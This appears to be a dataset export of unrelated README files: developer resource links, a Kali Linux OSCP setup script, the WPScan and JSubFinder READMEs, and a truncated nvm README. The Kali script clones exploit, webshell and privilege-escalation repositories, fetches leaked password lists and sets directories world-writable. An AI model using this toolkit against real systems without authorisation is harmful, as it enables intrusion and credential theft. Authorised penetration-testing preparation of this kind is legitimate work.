Tips](https://www.youtube.com/user/linuxtipscanal)\n * [RafaelGomex](https://www.youtube.com/c/RafaelGomex)\n\n### Good Social media pages and groups\n* Facebook pages\n * [Team Open Minds Oran](https://www.facebook.com/open.minds.oran/) Our Facebook page :heart:\n * [Dz Développeurs](https://www.facebook.com/Dz.Developpeurs/) A cool Facebook page shares projects made by Algerians, useful programming posts, geeky memes, etc.\n* Facebook groups\n * [DZ DÉVELOPPEURS](https://www.facebook.com/groups/dzdevs/) The largest Algerian developers community on Facebook\n\n### Awesome repositories\n* Game design\n * [AwesomeJetLight](https://github.com/JetLightStudio/AwesomeJetLight)\n* Curriculum Vitae Template\n * [CV Template with Latex](https://github.com/saidziani/CV-Template)\n* A long list of (advanced) JavaScript questions, and their explanations\n * [A long list of (advanced) JavaScript questions, and their explanations](https://github.com/lydiahallie/javascript-questions)\n* Algorithms and data structures implemented in JavaScript with explanations and links to further readings.\n * [Algorithms and data structures implemented in JavaScript](https://github.com/trekhleb/javascript-algorithms)\n* Learn how to design large-scale systems. Prep for the system design interview. Includes Anki flashcards.\n * [System Design Primer](https://github.com/donnemartin/system-design-primer)\n* GitHub Repository where we can play Chess. It depicts an awesome use of GitHub Actions.\n * [Play Chess](https://github.com/timburgan/timburgan)\n* A GitHub Repository where we can go through a whole Computer Science Degree.\n * [Open Source Computer Science](https://github.com/ForrestKnight/open-source-cs)\n* An awesome Data Science repository to learn and apply for real world problems.\n * [Awesome Data Science](https://github.com/academic/awesome-datascience)\n\n## Tools and Apps\n\n### IDEs\n* JetBrains' Intellij IDEs\n * [IDEA](https://www.jetbrains.com/idea/) (Java)\n * [WebStorm](https://www.jetbrains.com/webstorm/) (JavaScript -including Node.js- & frontend technologies, Go)\n * [PyCharm](https://www.jetbrains.com/pycharm-edu/) (Python)\n * [PhpStorm](https://www.jetbrains.com/phpstorm/) (PHP web development)\n * [Clion](https://www.jetbrains.com/clion/) (C/C++)\n * [Rider](https://www.jetbrains.com/rider/) (C#/ASP.NET/F#)\n * [RubyMine](https://www.jetbrains.com/ruby/) (Ruby)\n * [DataGrip](https://www.jetbrains.com/datagrip/) (Databases)\n* [CodeBlocks](http://codeblocks.org/)\n* [Repl.it](https://repl.it/)\n* [Visual Studio](https://visualstudio.microsoft.com/)\n\n### Text editors\n* [Atom](http://atom.io/)\n* [Brackets](http://brackets.io/)\n* [Sublime Text](https://www.sublimetext.com/)\n* [Vim](https://vim.sourceforge.io/)\n* [Visual Studio Code](https://code.visualstudio.com)\n* [VSCodium](https://github.com/VSCodium/vscodium) Free/Libre Open Source Software Binaries of VSCode\n* [MonoDevelop](http://www.monodevelop.com/download/)\n* [Notepad++](https://notepad-plus-plus.org/downloads/)\n\n### Extensions for Text editors\n* **Visual Studio Code**\n * [REST Client](https://marketplace.visualstudio.com/items?itemName=humao.rest-client)\n * [Jest](https://marketplace.visualstudio.com/items?itemName=Orta.vscode-jest)\n * [Code Spell Checker](https://marketplace.visualstudio.com/items?itemName=streetsidesoftware.code-spell-checker)\n * [Todo Tree](https://marketplace.visualstudio.com/items?itemName=Gruntfuggly.todo-tree)\n\n### Design Software\n* [Krita](https://krita.org/en/) An end-to-end solution for creating digital art files\n* [Tilt Brush](https://www.tiltbrush.com/) Tilt Brush lets you paint in 3D space with virtual reality.\n\n### Game Development Software\n* [Unity] (unity3d.com) Unity is a free, cross-platform, widely used and most popular 3d engine.\n* [GB Studio](https://www.gbstudio.dev) GB Studio is a free and easy to use retro adventure game creator for Game Boy available for Mac, Linux and Windows.\n* [Godot Engine](https://godotengine.org) Godot is completely free and open-source under the very permissive MIT license.\n* [BuildBox](https://www.buildbox.com) No-Code mobile game development.\n* [LÖVE](https://love2d.org) LÖVE is a framework you can use to make 2D games in Lua. It's free, open-source, and works on Windows, Mac OS X, Linux, Android and iOS.\n* [Defold](https://defold.com) Defold is a free to use, source available, game engine with a developer-friendly license. Defold is owned and developed by the Defold Foundation.\n* [Cocos2d-x](https://www.cocos.com/en/cocos2dx) Cocos2d-x is a mature open source cross-platform game development framework that supports 2D and 3D game creation.\n* [Phaser](http://phaser.io) Phaser is a fun, free and fast 2D game framework for making HTML5 games for desktop and mobile web browsers, supporting Canvas and WebGL rendering.\n* [threejs](https://threejs.org) The aim of the project is to create an easy to use, lightweight, 3D library with a default WebGL renderer. \n\n\n### Online Text editors\n* [Regular Expressions 101](https://regex101.com/): For testing Regex\n* [CodePen](https://codepen.io/): Online code editor for web developers (Javascript, HTML, CSS)\n\n### Mobile Apps\n* [CamScanner](https://www.camscanner.com/user/download)\n* [SoloLearn](http://sololearn.com/)\n* [Evernote](https://appcenter.evernote.com/)\n* [Laverna](https://laverna.cc): Multi-platform note taking solution.\n* [Mimo](https://getmimo.com/): Learn how to code on your phone\n* [Lrn](http://lrnapp.com/): Learn to code at your convinience\n* [Grasshopper](https://grasshopper.codes/)\n* [&lt;enki/&gt;](https://enki.com/join/Fcmam5) The #1 app to level up data science and technical skills (available on [iOS](https://itunes.apple.com/nl/app/enki-coding-learn-to-code/id993753145) and [Android](https://play.google.com/store/apps/details?id=com.enki.insights))\n* [Dcoder](https://dcoder.tech/): Next Gen Coding... (Available on [Android](https://play.google.com/store/apps/details?id=com.paprbit.dcoder) & [iOS](https://apps.apple.com/us/app/dcoder-code-compiler-ide/id1488496978))\n* [Brilliant](https://brilliant.org/): Learn computer science with fun [iOS](https://apps.apple.com/us/app/brilliant-solve-learn-grow/id913335252) & [Android](https://play.google.com/store/apps/details?id=org.brilliant.android&hl=en_GB&gl=US)\n\n### Collaboration tools\n* [Codeshare](http://codeshare.io/)\n* [JSFiddle](https://jsfiddle.net/)\n* [Kobra.io](https://kobra.io/)\n* [A web whiteboard](https://awwapp.com/) A touch-friendly online whiteboard (tableau)\n* [Glitch (GoMix)](https://glitch.com/) Build your applications online, with real collaboration\n* [Unity Teams](https://unity.com/products/unity-teams) It makes it simple to save, share and sync your Unity projects with anyone.\n* [Replit](https://replit.com/teams-for-education) Real-time code collaboration for educators and students.\n\n### Podcasts\n* English\n * [Android Developers Backstage](https://feeds.feedburner.com/blogspot/AndroidDevelopersBackstage) Podcast interviewing Google engineers about the latest Android APIs\n * [Context Podcast](https://github.com/artem-zinnatullin/TheContext-Podcast) Podcast that discusses on various frameworks and tools available in Android Community\n * [From The Source](https://open.spotify.com/show/0OpoyHy2U3Ev9n9gpYD3Zr) From the Source is an interview show that answers the question of what tech jobs are really like, both the good and the boring.\n * [Tech Queens](https://anchor.fm/tech-queens) Stories and advice shared by women of color in tech\n * [Open source developer podcast](https://anchor.fm/opensourcedeveloperpod) Looking at open source including projects, community and people.\n * [BookBytes](https://www.orbit.fm/bookbytes) A book club for developers.\n * [Code Newbie](https://www.codenewbie.org/podcast)Stories from people on their coding journey.\n * [Ladybug Podcast](https://ladybug.dev/) An all lady-hosted tech podcast for all developers.\n * [Coding Blocks](https://www.codingblocks.net/) Podcast and Your Source to Learn How To Become a Better Programmer.\n * [Code Chefs](https://www.codechefs.dev/) Hungry Web Developer Podcast.\n\n* Portuguese\n * [Pizza de Dados](https://pizzadedados.com/)\n * [Hipster ponto Tech](https://hipsters.tech/)\n * [Braincast](https://www.b9.com.br/shows/braincast/)\n * [Devs Cansados](https://anchor.fm/devs-cansados)\n\n### Learn Languages\n* [Duolingo](https://www.duolingo.com/): The world's best way to learn a language!\n* [Learn a Language](https://www.learnalanguage.com/): Learn a language with hundreds of free lessons\n"}}},{"rowIdx":260,"cells":{"text":{"kind":"string","value":"# Update Kali\n```\nsudo apt update \nsudo apt full-upgrade -y \nsudo apt install -y asciinema bloodhound bzip2 cherrytree curl dirsearch docker expect exploitdb flameshot ffuf gcc gifsicle git gobuster golang gzip imagemagick inkscape libsqlite3-dev libxslt-dev libxml2-dev nikto nishang openvpn p7zip-full perl python3 python3-pip realtek-rtl88xxau-dkms ssh unzip veil virtualbox wget zip zlib1g-dev\nsudo apt autoremove\n```\n# Update Nmap Scripts\n```\nsudo nmap --script-updatedb\n```\n# Install pip packages\n```\npip3 install updog\npip3 install wfuzz\npip3 install ldap3 dnspython\npip3 install ldapdomaindump\n```\n# install Veil 3 https://github.com/Veil-Framework/Veil\n```\n/usr/share/veil/config/setup.sh --force --silent\n```\n# change file/folder permissions\n```\nsudo chmod -R 777 /usr/share/wordlists\nsudo chmod -R 777 /opt\n```\n# Update $PATH\n```\nexport PATH=$PATH:~/.local/lib\nexport PATH=$PATH:/opt\n```\n# feroxbuster\n```\nwget https://github.com/epi052/feroxbuster/releases/latest/download/feroxbuster_amd64.deb.zip\nunzip feroxbuster_amd64.deb.zip\nsudo apt install ./feroxbuster_*_amd64.deb\nrm ./feroxbuster_*_amd64.deb\nrm ./feroxbuster_amd64.deb.zip\n```\n# Install pip for Python2:\n```\ncurl https://bootstrap.pypa.io/get-pip.py -o get-pip.py\npython get-pip.py\n```\n# install impacket\n```\nsudo docker build -t \"impacket:latest\" .\n```\n\n# install wpscan docker image\n```\nsudo docker pull wpscanteam/wpscan\nsudo docker run -it --rm wpscanteam/wpscan --update\n```\n\n# exploits:\n```\ncd /opt\nwget https://www.securitysift.com/download/linuxprivchecker.py\ngit clone https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite.git\ngit clone https://github.com/PowerShellMafia/PowerSploit.git\ngit clone https://github.com/SecWiki/windows-kernel-exploits.git\ngit clone https://github.com/SecWiki/linux-kernel-exploits.git\ngit clone https://github.com/tennc/webshell.git\ngit clone https://github.com/swisskyrepo/PayloadsAllTheThings.git\ngit clone https://github.com/rsmudge/ZeroLogon-BOF.git\ngit clone https://github.com/carlospolop/PEASS-ng.git\ngit clone https://github.com/PowerShellMafia/PowerSCCM.git\ngit clone https://github.com/411Hall/JAWS.git\ngit clone https://github.com/frizb/Windows-Privilege-Escalation.git\ngit clone https://github.com/itm4n/PrivescCheck.git\ngit clone https://github.com/johnchakauya/wesng.git\ngit clone https://github.com/leechristensen/SpoolSample.git\ngit clone https://github.com/topotam/PetitPotam.git\ngit clone https://github.com/antonioCoco/RemotePotato0.git\ngit clone https://github.com/S3cur3Th1sSh1t/SharpNamedPipePTH.git\ngit clone https://github.com/cube0x0/CVE-2021-1675.git\ngit clone https://github.com/GossiTheDog/HiveNightmare.git\ngit clone https://github.com/GossiTheDog/SystemNightmare.git\ngit clone https://github.com/LOLBAS-Project/LOLBAS.git\n# my repo\ngit clone https://github.com/ciwen3/OSCP.git\n# other\ngit clone https://github.com/LOLBAS-Project/LOLBAS.git\ngit clone https://github.com/mishmashclone/OlivierLaflamme-Cheatsheet-God.git\ngit clone https://github.com/vjeantet/hugo-theme-docdock.git\ngit clone https://github.com/NetSPI/PowerUpSQL.git\n# tools\ngit clone https://github.com/sullo/nikto.git\ngit clone https://github.com/phra/rustbuster.git\ngit clone https://github.com/Tib3rius/AutoRecon.git\ngit clone https://github.com/21y4d/nmapAutomator.git\ngit clone https://github.com/ffuf/ffuf.git\ngit clone https://github.com/sullo/nikto.git\ngit clone https://github.com/cwinfosec/revshellgen.git\ngit clone https://github.com/thosearetheguise/rev.git\ngit clone https://github.com/mzet-/linux-exploit-suggester.git\ngit clone https://github.com/HarmJ0y/PowerUp.git\ngit clone https://github.com/BloodHoundAD/BloodHound\ngit clone https://github.com/byt3bl33d3r/CrackMapExec.git\ngit clone https://github.com/jonaslejon/malicious-pdf.git\ngit clone https://github.com/tennc/webshell.git\n\ngit clone https://github.com/dzonerzy/goWAPT.git\ncd goWAPT\nmake \nsudo make install\n\ncd /opt\ngit clone https://github.com/fox-it/mitm6.git\ncd mitm6/\npip3 install .\nsudo python3 ./setup.py install\n```\n# Wordlists\n```\ncd /usr/share/wordlists\nwget https://gist.githubusercontent.com/nullenc0de/96fb9e934fc16415fbda2f83f08b28e7/raw/146f367110973250785ced348455dc5173842ee4/content_discovery_nullenc0de.txt\nwget https://gist.githubusercontent.com/gladiatx0r/1ffe59031d42c08603a3bde0ff678feb/raw/a1db6730886a423c7639bb226beb331891bbb2a1/Workstation-Takeover.md\nwget https://crackstation.net/files/crackstation.txt.gz\nwget https://crackstation.net/files/crackstation-human-only.txt.gz\nwget http://downloads.skullsecurity.org/passwords/john.txt.bz2\nwget http://downloads.skullsecurity.org/passwords/facebook-phished.txt.bz2\nwget http://downloads.skullsecurity.org/passwords/porn-unknown.txt.bz2\nwget http://downloads.skullsecurity.org/passwords/facebook-pastebay.txt.bz2\nwget http://downloads.skullsecurity.org/passwords/elitehacker.txt.bz2\nwget http://downloads.skullsecurity.org/passwords/hak5.txt.bz2\nwget http://downloads.skullsecurity.org/passwords/hotmail.txt.bz2\nwget http://downloads.skullsecurity.org/passwords/myspace.txt.bz2\nwget http://downloads.skullsecurity.org/passwords/phpbb.txt.bz2\nwget https://downloads.pwnedpasswords.com/passwords/pwned-passwords-sha1-ordered-by-count-v7.7z\nwget https://downloads.pwnedpasswords.com/passwords/pwned-passwords-ntlm-ordered-by-count-v7.7z\nwget http://www.petefinnigan.com/default/oracle_default_passwords.csv\nwget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Default-Credentials/default-passwords.csv\nwget https://raw.githubusercontent.com/drtychai/wordlists/master/fasttrack.txt\nwget https://raw.githubusercontent.com/trustedsec/social-engineer-toolkit/master/src/fasttrack/wordlist.txt\n\ngunzip ./*.gz\nbunzip2 ./*.bz2\n7z x ./*.7z\n\ngit clone https://github.com/danielmiessler/SecLists.git\ngit clone https://github.com/drtychai/wordlists.git\n```\n# Create Asscinema\n```\ncd\nmkdir ~/asciinema\n```\n# Update zshrc and bashrc\n```\nsudo cat <> /etc/zsh/zshrc\nHISTTIMEFORMAT='%F %T '\nHISTFILESIZE=-1\nHISTSIZE=-1\nHISTCONTROL=ignoredups\nHISTIGNORE=?:??\nEOF\n```\n```\nsudo cat <> /etc/bash.bashrc\nHISTTIMEFORMAT='%F %T '\nHISTFILESIZE=-1\nHISTSIZE=-1\nHISTCONTROL=ignoredups\nHISTIGNORE=?:??\nEOF\n```\n\n# Ceate Sripts for Rtaining Data\n```\ncat < ~/flameshot.sh\n#!/bin/bash\nwhile true; do flameshot full -p ~/Pictures/ ; sleep 60 ; done\nEOF\nchmod +x ~/flameshot.sh\n```\n```\ncat < ~/OSCP-git.sh\n#!/bin/bash\n# upload all notes and screen shots to github every 5 min\nsleep 300\n# Test file creation\n# touch 'new-'$(date +\"%H:%M-%d-%b-%Y\")'.txt'\n# Add, Commit and Upload files to Github\ngit add -A\ngit commit -m update\ngit push origin main\n# for older Github accounts use below:\n# git push origin master \nEOF\nchmod +x ~/OSCP-git.sh\n```\n```\ncat < ~/OSCP-expect.sh\n#!/usr/bin/expect -f\nset timeout -1\nspawn ./OSCP-git.sh\n# Interact with the login using expect\nexpect \"Username for 'https://github.com':\"\nsend -- \"\\n\"\nexpect \"Password for 'https://@github.com':\"\nsend -- \"\\n\"\nexpect eof\nEOF\nchmod +x ~/OSCP-expect.sh\n```\n\n```\nsudo cat <> ~/.zshrc\necho \"\"\necho \"Checklist:\"\necho \"==========\"\necho 'asciinema rec ~/asciinema/OSCP-\\$(date +\"%d-%b-%Y-%T\").cast'\necho \"\"\necho \"Auto upload github repo:\"\necho \"while true; do ~/OSCP-expect.sh; done &\"\necho \"\"\necho \"Start screebshots:\"\necho \"~/flameshot.sh &\"\necho \"\"\necho \"To Use Impacket Docker File Run:\"\necho 'sudo docker run -it --rm \"impacket:latest\"'\necho \"\"\necho \"sudo docker run -it --rm wpscanteam/wpscan --url https://example.com/ --enumerate u\"\necho \"\"\necho \"to leave docker run exit\"\nEOF\n```\n```\nsudo cat <> ~/.bashrc\necho \"\"\necho \"Checklist:\"\necho \"==========\"\necho 'asciinema rec ~/asciinema/OSCP-\\$(date +\"%d-%b-%Y-%T\").cast'\necho \"\"\necho \"Auto upload github repo:\"\necho \"while true; do ~/OSCP-expect.sh; done &\"\necho \"\"\necho \"Start screebshots:\"\necho \"~/flameshot.sh &\"\necho \"\"\necho \"To Use Impacket Docker File Run:\"\necho 'sudo docker run -it --rm \"impacket:latest\"'\necho \"\"\necho \"sudo docker run -it --rm wpscanteam/wpscan --url https://example.com/ --enumerate u\"\necho \"\"\necho \"to leave docker run exit\"\nEOF\n```\n# MSFconsole setup\n```\nservice postgresql start\nsudo msfdb init\nsudo chmod 777 /usr/share/metasploit-framework/.bundle/config\n```\n# Print Check List of things that need to be done manually\n```\ncat < Preferences > Miscellaneous > Auto Save Every __ Minutes\n\nMSF setup:\nmsfconsole\ndb_status\nbundle install\n\nEOF\n```\n"}}},{"rowIdx":261,"cells":{"text":{"kind":"string","value":"![alt text](https://raw.githubusercontent.com/wpscanteam/wpscan/gh-pages/wpscan_logo_407x80.png \"WPScan - WordPress Security Scanner\") v3 BETA\n\n[![Gem Version](https://badge.fury.io/rb/wpscan.svg)](https://badge.fury.io/rb/wpscan)\n[![Build Status](https://travis-ci.org/wpscanteam/wpscan-v3.svg?branch=master)](https://travis-ci.org/wpscanteam/wpscan-v3)\n[![Code Climate](https://codeclimate.com/github/wpscanteam/wpscan-v3/badges/gpa.svg)](https://codeclimate.com/github/wpscanteam/wpscan-v3)\n[![Patreon Donate](https://img.shields.io/badge/patreon-donate-green.svg)](https://www.patreon.com/wpscan)\n\n# LICENSE\n\n## WPScan Public Source License\n\nThe WPScan software (henceforth referred to simply as \"WPScan\") is dual-licensed - Copyright 2011-2018 WPScan Team.\n\nCases that include commercialization of WPScan require a commercial, non-free license. Otherwise, WPScan can be used without charge under the terms set out below.\n\n### 1. Definitions\n\n1.1 \"License\" means this document.\n\n1.2 \"Contributor\" means each individual or legal entity that creates, contributes to the creation of, or owns WPScan.\n\n1.3 \"WPScan Team\" means WPScan’s core developers, an updated list of whom can be found within the CREDITS file.\n\n### 2. Commercialization\n\nA commercial use is one intended for commercial advantage or monetary compensation.\n\nExample cases of commercialization are:\n\n - Using WPScan to provide commercial managed/Software-as-a-Service services.\n - Distributing WPScan as a commercial product or as part of one.\n - Using WPScan as a value added service/product.\n\nExample cases which do not require a commercial license, and thus fall under the terms set out below, include (but are not limited to):\n\n - Penetration testers (or penetration testing organizations) using WPScan as part of their assessment toolkit.\n - Penetration Testing Linux Distributions including but not limited to Kali Linux, SamuraiWTF, BackBox Linux.\n - Using WPScan to test your own systems.\n - Any non-commercial use of WPScan.\n\nIf you need to purchase a commercial license or are unsure whether you need to purchase a commercial license contact us - team@wpscan.org.\n\nWe may grant commercial licenses at no monetary cost at our own discretion if the commercial usage is deemed by the WPScan Team to significantly benefit WPScan.\n\nFree-use Terms and Conditions;\n\n### 3. Redistribution\n\nRedistribution is permitted under the following conditions:\n\n - Unmodified License is provided with WPScan.\n - Unmodified Copyright notices are provided with WPScan.\n - Does not conflict with the commercialization clause.\n\n### 4. Copying\n\nCopying is permitted so long as it does not conflict with the Redistribution clause.\n\n### 5. Modification\n\nModification is permitted so long as it does not conflict with the Redistribution clause.\n\n### 6. Contributions\n\nAny Contributions assume the Contributor grants the WPScan Team the unlimited, non-exclusive right to reuse, modify and relicense the Contributor's content.\n\n### 7. Support\n\nWPScan is provided under an AS-IS basis and without any support, updates or maintenance. Support, updates and maintenance may be given according to the sole discretion of the WPScan Team.\n\n### 8. Disclaimer of Warranty\n\nWPScan is provided under this License on an “as is” basis, without warranty of any kind, either expressed, implied, or statutory, including, without limitation, warranties that the WPScan is free of defects, merchantable, fit for a particular purpose or non-infringing.\n\n### 9. Limitation of Liability\n\nTo the extent permitted under Law, WPScan is provided under an AS-IS basis. The WPScan Team shall never, and without any limit, be liable for any damage, cost, expense or any other payment incurred as a result of WPScan's actions, failure, bugs and/or any other interaction between WPScan and end-equipment, computers, other software or any 3rd party, end-equipment, computer or services.\n\n### 10. Disclaimer\n\nRunning WPScan against websites without prior mutual consent may be illegal in your country. The WPScan Team accept no liability and are not responsible for any misuse or damage caused by WPScan.\n\n### 11. Trademark\n\nThe \"wpscan\" term is a registered trademark. This License does not grant the use of the \"wpscan\" trademark or the use of the WPScan logo.\n\n# INSTALL\n\n## Prerequisites:\n\n- Ruby >= 2.2.2 - Recommended: 2.3.3\n- Curl >= 7.21 - Recommended: latest - FYI the 7.29 has a segfault\n- RubyGems - Recommended: latest\n\n\n### From RubyGems:\n\n```gem install wpscan```\n\n### From sources:\n\nPrerequisites: Git\n\n```git clone https://github.com/wpscanteam/wpscan-v3```\n\n```cd wpscan```\n\n```bundle install && rake install```\n\n# Docker\n\nPull the repo with ```docker pull wpscanteam/wpscan-v3```\n\n# Usage\n\n```wpscan --url blog.tld``` This will scan the blog using default options with a good compromise between speed and accuracy. For example, the plugins will be checked passively but their version with a mixed detection mode (passively + aggressively). Potential config backup files will also be checked, along with other interesting findings. If a more stealthy approach is required, then ```wpscan --stealthy --url blog.tld``` can be used.\nAs a result, when using the ```--enumerate``` option, don't forget to set the ```--plugins-detection``` accordingly, as its default is 'passive'.\n\nFor more options, open a terminal and type ```wpscan --help``` (if you built wpscan from the source, you should type the command outside of the git repo)\n\nThe DB is located at ~/.wpscan/db\n\nWPScan can load all options (including the --url) from configuration files, the following locations are checked (order: first to last):\n\n* ~/.wpscan/cli_options.json\n* ~/.wpscan/cli_options.yml\n* pwd/.wpscan/cli_options.json\n* pwd/.wpscan/cli_options.yml\n\nIf those files exist, options from them will be loaded and overridden if found twice.\n\ne.g:\n\n~/.wpscan/cli_options.yml:\n```\nproxy: 'http://127.0.0.1:8080'\nverbose: true\n```\n\npwd/.wpscan/cli_options.yml:\n```\nproxy: 'socks5://127.0.0.1:9090'\nurl: 'http://target.tld'\n```\n\nRunning ```wpscan``` in the current directory (pwd), is the same as ```wpscan -v --proxy socks5://127.0.0.1:9090 --url http://target.tld```\n\n# PROJECT HOME\n\n[https://wpscan.org](https://wpscan.org)\n\n# VULNERABILITY DATABASE\n\n[https://wpvulndb.com](https://wpvulndb.com)\n"}}},{"rowIdx":262,"cells":{"text":{"kind":"string","value":"## ![jsubfinder logo](https://user-images.githubusercontent.com/17349277/146734055-8b836305-7a13-4c66-a02b-d92932322b42.png)\r\n\r\n\r\n\r\n\r\nJSubFinder is a tool writtin in golang to search webpages & javascript for hidden subdomains and secrets in the given URL. Developed with BugBounty hunters in mind JSubFinder takes advantage of Go's amazing performance allowing it to utilize large data sets & be easily chained with other tools.\r\n\r\n\r\n![z69D8q](https://user-images.githubusercontent.com/17349277/147615346-9c1471a6-a9a8-45cb-a429-f789b255950c.gif)\r\n\r\n## Install\r\n---\r\nInstall the application and download the signatures needed to find secrets\r\n\r\nUsing GO:\r\n\r\n```bash\r\ngo install github.com/ThreatUnkown/jsubfinder@latest\r\nwget https://raw.githubusercontent.com/ThreatUnkown/jsubfinder/master/.jsf_signatures.yaml && mv .jsf_signatures.yaml ~/.jsf_signatures.yaml\r\n```\r\n\r\nor\r\n\r\n[Downloads Page](https://github.com/hiddengearz/jsubfinder/tags)\r\n\r\n\r\n## Basic Usage\r\n---\r\n\r\n### Search\r\n\r\nSearch the given url's for subdomains and secrets\r\n\r\n```text\r\n$ jsubfinder search -h\r\n\r\nExecute the command specified\r\n\r\nUsage:\r\n JSubFinder search [flags]\r\n\r\nFlags:\r\n -c, --crawl Enable crawling\r\n -g, --greedy Check all files for URL's not just Javascript\r\n -h, --help help for search\r\n -f, --inputFile string File containing domains\r\n -t, --threads int Ammount of threads to be used (default 5)\r\n -u, --url strings Url to check\r\n\r\nGlobal Flags:\r\n -d, --debug Enable debug mode. Logs are stored in log.info\r\n -K, --nossl Skip SSL cert verification (default true)\r\n -o, --outputFile string name/location to store the file\r\n -s, --secrets Check results for secrets e.g api keys\r\n --sig string Location of signatures for finding secrets\r\n -S, --silent Disable printing to the console\r\n```\r\n\r\nExamples (results are the same in this case):\r\n\r\n```bash\r\n$ jsubfinder search -u www.google.com\r\n$ jsubfinder search -f file.txt\r\n$ echo www.google.com | jsubfinder search\r\n$ echo www.google.com | httpx --silent | jsubfinder search$\r\n\r\napis.google.com\r\nogs.google.com\r\nstore.google.com\r\nmail.google.com\r\naccounts.google.com\r\nwww.google.com\r\npolicies.google.com\r\nsupport.google.com\r\nadservice.google.com\r\nplay.google.com\r\n```\r\n\r\n\r\n\r\n#### With Secrets Enabled\r\n*note `--secrets=\"\"` will save the secret results in a secrets.txt file*\r\n```bash\r\n\r\n$ echo www.youtube.com | jsubfinder search --secrets=\"\"\r\nwww.youtube.com\r\nyoutubei.youtube.com\r\npayments.youtube.com\r\n2Fwww.youtube.com\r\n252Fwww.youtube.com\r\nm.youtube.com\r\ntv.youtube.com\r\nmusic.youtube.com\r\ncreatoracademy.youtube.com\r\nartists.youtube.com\r\n\r\nGoogle Cloud API Key found in content of https://www.youtube.com\r\nGoogle Cloud API Key found in content of https://www.youtube.com\r\nGoogle Cloud API Key found in content of https://www.youtube.com\r\nGoogle Cloud API Key found in content of https://www.youtube.com\r\nGoogle Cloud API Key found in content of https://www.youtube.com\r\nGoogle Cloud API Key found in content of https://www.youtube.com\r\n```\r\n\r\n\r\n#### Advanced examples\r\n```bash\r\n$ echo www.google.com | jsubfinder search -crawl -s \"google_secrets.txt\" -S -o jsf_google.txt -t 10 -g\r\n```\r\n\r\n* `-crawl` use the default crawler to crawl pages for other URL's to analyze\r\n* `-s` enables JSubFinder to search for secrets\r\n* `-S` Silence output to console\r\n* `-o ` save output to specified file\r\n* `-t 10` use 10 threads\r\n* `-g` search every URL for JS, even ones we don't think have any\r\n\r\n### Proxy\r\nEnables the upstream HTTP proxy with TLS MITM sypport. This allows you to:\r\n\r\n1) Browse sites in realtime and have JSubFinder search for subdomains and secrets real time.\r\n2) If needed run jsubfinder on another server to offload the workload\r\n\r\n```text\r\n$ JSubFinder proxy -h\r\n\r\nExecute the command specified\r\n\r\nUsage:\r\n JSubFinder proxy [flags]\r\n\r\nFlags:\r\n -h, --help help for proxy\r\n -p, --port int Port for the proxy to listen on (default 8444)\r\n --scope strings Url's in scope seperated by commas. e.g www.google.com,www.netflix.com\r\n -u, --upstream-proxy string Adress of upsteam proxy e.g http://127.0.0.1:8888 (default \"http://127.0.0.1:8888\")\r\n\r\nGlobal Flags:\r\n -d, --debug Enable debug mode. Logs are stored in log.info\r\n -K, --nossl Skip SSL cert verification (default true)\r\n -o, --outputFile string name/location to store the file\r\n -s, --secrets Check results for secrets e.g api keys\r\n --sig string Location of signatures for finding secrets\r\n -S, --silent Disable printing to the console\r\n```\r\n\r\n```bash\r\n$ jsubfinder proxy\r\nProxy started on :8444\r\nSubdomain: out.reddit.com\r\nSubdomain: www.reddit.com\r\nSubdomain: 2Fwww.reddit.com\r\nSubdomain: alb.reddit.com\r\nSubdomain: about.reddit.com\r\n```\r\n\r\n#### With Burp Suite\r\n1) Configure Burp Suite to forward traffic to an upstream proxy/ (User Options > Connections > Upsteam Proxy Servers > Add)\r\n2) Run JSubFinder in proxy mode\r\n\r\nBurp Suite will now forward all traffic proxied through it to JSubFinder. JSubFinder will retrieve the response, return it to burp and in another thread search for subdomains and secrets.\r\n\r\n#### With Proxify\r\n1) Launch [Proxify](https://github.com/projectdiscovery/proxify) & dump traffic to a folder `proxify -output logs`\r\n2) Configure Burp Suite, a Browser or other tool to forward traffic to Proxify (see instructions on their [github page](https://github.com/projectdiscovery/proxify))\r\n3) Launch JSubFinder in proxy mode & set the upstream proxy as Proxify `jsubfinder proxy -u http://127.0.0.1:8443`\r\n4) Use Proxify's replay utility to replay the dumped traffic to jsubfinder `replay -output logs -burp-addr http://127.0.0.1:8444`\r\n\r\n\r\n#### Run on another server\r\nSimple, run JSubFinder in proxy mode on another server e.g 192.168.1.2. Follow the proxy steps above but set your applications upstream proxy as 192.168.1.2:8443\r\n\r\n#### Advanced Examples\r\n\r\n```bash\r\n$ jsubfinder proxy --scope www.reddit.com -p 8081 -S -o jsf_reddit.txt\r\n```\r\n\r\n* `--scope` limits JSubFinder to only analyze responses from www.reddit.com\r\n* `-p` port JSubFinders proxy server is running on\r\n* `-S` silence output to the console/stdout\r\n* `-o ` output examples to this file\r\n"}}},{"rowIdx":263,"cells":{"text":{"kind":"string","value":"# Node Version Manager [![Build Status](https://travis-ci.org/creationix/nvm.svg?branch=master)][3] [![nvm version](https://img.shields.io/badge/version-v0.33.6-yellow.svg)][4] [![CII Best Practices](https://bestpractices.coreinfrastructure.org/projects/684/badge)](https://bestpractices.coreinfrastructure.org/projects/684)\n\n\n\n## Table of Contents\n\n- [Installation](#installation)\n - [Install script](#install-script)\n - [Verify installation](#verify-installation)\n - [Important Notes](#important-notes)\n - [Git install](#git-install)\n - [Manual Install](#manual-install)\n - [Manual upgrade](#manual-upgrade)\n- [Usage](#usage)\n - [Long-term support](#long-term-support)\n - [Migrating global packages while installing](#migrating-global-packages-while-installing)\n - [Default global packages from file while installing](#default-global-packages-from-file-while-installing)\n - [io.js](#iojs)\n - [System version of node](#system-version-of-node)\n - [Listing versions](#listing-versions)\n - [.nvmrc](#nvmrc)\n - [Deeper Shell Integration](#deeper-shell-integration)\n - [zsh](#zsh)\n - [Calling `nvm use` automatically in a directory with a `.nvmrc` file](#calling-nvm-use-automatically-in-a-directory-with-a-nvmrc-file)\n- [License](#license)\n- [Running tests](#running-tests)\n- [Bash completion](#bash-completion)\n - [Usage](#usage-1)\n- [Compatibility Issues](#compatibility-issues)\n- [Installing nvm on Alpine Linux](#installing-nvm-on-alpine-linux)\n- [Docker for development environment](#docker-for-development-environment)\n- [Problems](#problems)\n- [Mac OS \"troubleshooting\"](#mac-os-troubleshooting)\n\n\n\n## Installation\n\n### Install script\n\nTo install or update nvm, you can use the [install script][2] using cURL:\n\n```sh\ncurl -o- https://raw.githubusercontent.com/creationix/nvm/v0.33.6/install.sh | bash\n```\n\nor Wget:\n\n```sh\nwget -qO- https://raw.githubusercontent.com/creationix/nvm/v0.33.6/install.sh | 